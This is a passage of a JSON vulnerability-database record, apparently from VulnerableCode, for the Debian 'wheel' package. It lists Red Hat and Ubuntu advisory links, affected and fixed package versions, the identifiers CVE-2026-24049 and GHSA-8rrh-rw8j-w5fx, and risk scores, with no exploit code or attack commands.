                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:1902",
                    "reference_id": "RHSA-2026:1902",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:1902"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:1939",
                    "reference_id": "RHSA-2026:1939",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:1939"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:1942",
                    "reference_id": "RHSA-2026:1942",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:1942"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2090",
                    "reference_id": "RHSA-2026:2090",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2090"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2106",
                    "reference_id": "RHSA-2026:2106",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2106"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2139",
                    "reference_id": "RHSA-2026:2139",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2139"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2675",
                    "reference_id": "RHSA-2026:2675",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2675"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2681",
                    "reference_id": "RHSA-2026:2681",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2681"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2694",
                    "reference_id": "RHSA-2026:2694",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2694"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2695",
                    "reference_id": "RHSA-2026:2695",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2695"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2710",
                    "reference_id": "RHSA-2026:2710",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2710"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2754",
                    "reference_id": "RHSA-2026:2754",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2754"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2762",
                    "reference_id": "RHSA-2026:2762",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2762"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2823",
                    "reference_id": "RHSA-2026:2823",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2823"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2865",
                    "reference_id": "RHSA-2026:2865",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2865"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2866",
                    "reference_id": "RHSA-2026:2866",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2866"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2900",
                    "reference_id": "RHSA-2026:2900",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2900"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:2925",
                    "reference_id": "RHSA-2026:2925",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:2925"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3461",
                    "reference_id": "RHSA-2026:3461",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3461"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3462",
                    "reference_id": "RHSA-2026:3462",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3462"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3713",
                    "reference_id": "RHSA-2026:3713",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3713"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3782",
                    "reference_id": "RHSA-2026:3782",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3782"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3958",
                    "reference_id": "RHSA-2026:3958",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3958"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3959",
                    "reference_id": "RHSA-2026:3959",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3959"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3960",
                    "reference_id": "RHSA-2026:3960",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3960"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:4185",
                    "reference_id": "RHSA-2026:4185",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:4185"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:4215",
                    "reference_id": "RHSA-2026:4215",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:4215"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:4271",
                    "reference_id": "RHSA-2026:4271",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:4271"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:4942",
                    "reference_id": "RHSA-2026:4942",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:4942"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:5119",
                    "reference_id": "RHSA-2026:5119",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:5119"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:6192",
                    "reference_id": "RHSA-2026:6192",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:6192"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:6555",
                    "reference_id": "RHSA-2026:6555",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:6555"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:6562",
                    "reference_id": "RHSA-2026:6562",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:6562"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:6565",
                    "reference_id": "RHSA-2026:6565",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:6565"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:7250",
                    "reference_id": "RHSA-2026:7250",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:7250"
                },
                {
                    "reference_url": "https://usn.ubuntu.com/8221-1/",
                    "reference_id": "USN-8221-1",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://usn.ubuntu.com/8221-1/"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942691?format=api",
                    "purl": "pkg:deb/debian/wheel@0?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942686?format=api",
                    "purl": "pkg:deb/debian/wheel@0.34.2-1?distro=trixie",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-12sa-qzjz-2ya9"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.34.2-1%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942687?format=api",
                    "purl": "pkg:deb/debian/wheel@0.38.4-2?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.38.4-2%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942692?format=api",
                    "purl": "pkg:deb/debian/wheel@0.46.3-1?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.46.3-1%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942689?format=api",
                    "purl": "pkg:deb/debian/wheel@0.46.3-2?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.46.3-2%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/1077506?format=api",
                    "purl": "pkg:deb/debian/wheel@0.47.0-1?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.47.0-1%3Fdistro=trixie"
                }
            ],
            "aliases": [
                "CVE-2026-24049",
                "GHSA-8rrh-rw8j-w5fx"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-fm8w-bycx-4yex"
        }
    ],
    "risk_score": null,
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.38.4-2%3Fdistro=trixie"
}